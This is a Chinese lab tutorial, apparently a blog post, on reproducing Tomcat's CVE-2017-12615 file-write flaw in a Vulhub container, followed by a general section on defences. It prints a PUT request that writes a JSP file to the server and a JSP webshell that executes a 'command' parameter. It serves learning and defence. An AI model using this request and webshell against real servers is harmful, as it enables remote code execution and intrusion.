Tomcat任意写入文件漏洞(CVE-2017-12615)复现(详细完整原理篇,小白也能看得懂)

本文详细介绍了ApacheTomcat7.0.0至7.0.79版本的任意文件写入漏洞,包括漏洞原理、复现步骤。通过修改web.xml并利用HTTPPUT请求,可以上传包含恶意代码的JSP文件,导致服务器执行。文章还提供了使用Vulhub靶场和BurpSuite工具进行漏洞测试的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文所介绍的内容仅为学习交流使用,严禁利用本文技术进行非法行为,否则造成一切严重后果自负!

一.漏洞原理说明

Apache Tomcat 7.0.0 - 7.0.79任意文件写入(7.0.81修复不完全)

Tomcat是一个Java Web服务器,它需要使用web.xml文件来配置Web应用程序的行为。Apache Tomcat 7.0.0 - 7.0.79漏洞产生原因:在这个Dockerfile文件中,通过修改web.xml文件来添加一个名为readonly的参数,其值为false

当 Tomcat 运行在 Windows 主机上,启用了 HTTP PUT 请求方法,可以通过构造请求向服务器上传包含任意代码的 JSP 文件,导致 JSP 文件中的代码能够被服务器执行。

在kali中打开vulhub靶场中的CVE-2017-126150,在这里打开终端输入:
docker-compose up -d
启动此文件夹中的docker compose配置文件中定义的docker容器

请添加图片描述

成功启动

使用cat Dockerfile 查看配置:
请添加图片描述可以看到readonly值为false。

二.漏洞复现步骤

当在Kali上运行Vulhub的Tomcat漏洞靶场时,相当于kali中存在Tomcat漏洞,Kali Linux可以看作被攻击对象中的Tomcat服务器,接下来我们可以对他进行测试

1.访问http://your-ip:8080即可看到Tomcat的Example页面
我的kali的ip是192.168.10.130
请添加图片描述

2.使用Burp Suite抓包,默认监听的是8080端口,但是此时8080运行了Tomcat服务,所以要改一下bp监听的端口。

一个端口只能同时被一个应用程序或服务监听和使用,因为端口是用来区分不同应用程序或服务的标识符。如果多个应用程序或服务试图绑定到同一个端口上,就会出现端口冲突,并且其中一个进程可能无法正常启动。在同一端口下运行多个应用程序或服务需要使用代理服务器或反向代理技术。

上传JSP Webshell文件到Tomcat服务器,此时Tomcat服务器就是我的kali虚拟机。直接发送以下数据包即可在Web根目录写入shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

请添加图片描述

这里看到返回201,应该已经上传成功了。

3.然后使用网页访问1.jsp:
请添加图片描述

可以看出1.jsp文件已经写入到了网站内部。
4.在容器中查看上传的jsp文件
使用docker exec命令来进入容器并检查Web应用程序目录。如果容器名称为"my-tomcat-container",则可以通过以下命令进入容器:
docker exec -it my-tomcat-container /bin/bash
使用docker ps列出容器的名称

Tomcat容器中默认的Web应用程序路径为/usr/local/tomcat/webapps/,在此文件夹下的ROOT目录中找到了上传的jsp文件
请添加图片描述

5.上传一个jsp的木马:

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

请添加图片描述
201成功

6.使用浏览器访问exc.jsp可以任意命令执行请添加图片描述原创不易,转载请说明出处

### Tomcat任意文件写入漏洞原理 在 Web 应用程序中,如果存在可以上传文件的功能,并且服务器端对于上传的文件缺乏严格的验证机制,则可能导致攻击者通过特定手段实现任意文件写入。具体到 Apache Tomcat 上下文中: - 攻击者可能利用应用程序中存在的逻辑缺陷或配置错误来绕过正常的文件上传限制。 - 如果应用允许用户提交带有恶意脚本的内容并将其保存至服务器上的可执行位置,那么这些被植入的文件可以在稍后被执行,从而造成远程代码执行的风险。 当涉及到具体的 `Tomcat` 配置时,可能存在某些接口未正确处理来自客户端的数据流,使得能够控制文件名及其存储路径的情况发生。例如,在不当设置的情况下,攻击者可以通过 URL 参数或其他方式指定要创建的目标文件的位置和名称[^1]。 ### Tomcat 任意文件写入漏洞防御方法 为了防止此类漏洞的发生,建议采取以下措施加强安全性: #### 输入验证与清理 确保所有由外部传入的数据都经过彻底清洗和校验,特别是那些用于决定文件操作行为的部分(如文件名)。应采用正则表达式等方式精确匹配预期格式,拒绝任何不符合规则的请求。 ```python import re def validate_filename(filename): pattern = r'^[\w,\s-]+\.[A-Za-z]{3}$' # 假设只接受简单的字母数字加扩展名为三个字符的小写字母组成的文件名 if not re.match(pattern, filename): raise ValueError("Invalid file name.") ``` #### 权限最小化原则 运行服务的应用进程应当仅拥有完成其工作所需的最低限度权限。这意味着即使成功实施了文件写入攻击,也难以进一步提升权限或者影响其他重要资源。 #### 安全编码实践 遵循安全编程指南编写代码,避免使用不安全函数;同时定期审查现有代码库中的潜在风险点,及时修补已知的安全隐患。 #### 文件系统隔离 将上传区域与其他敏感数据隔离开来放置于独立分区之中,并设定适当的访问控制列表 (ACL),阻止未经授权的操作尝试跨越边界进入受保护的空间内。 #### 使用白名单策略管理文件类型 如同对待下载功能一样,针对上传同样应该建立一份许可表单,明确规定哪些 MIME 类型是可以接收的对象,其余一律拒之门外。 #### 日志监控与审计 启用详细的日志记录选项以便追踪可疑活动轨迹,配合自动化工具分析异常模式,一旦发现迹象立即响应处置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值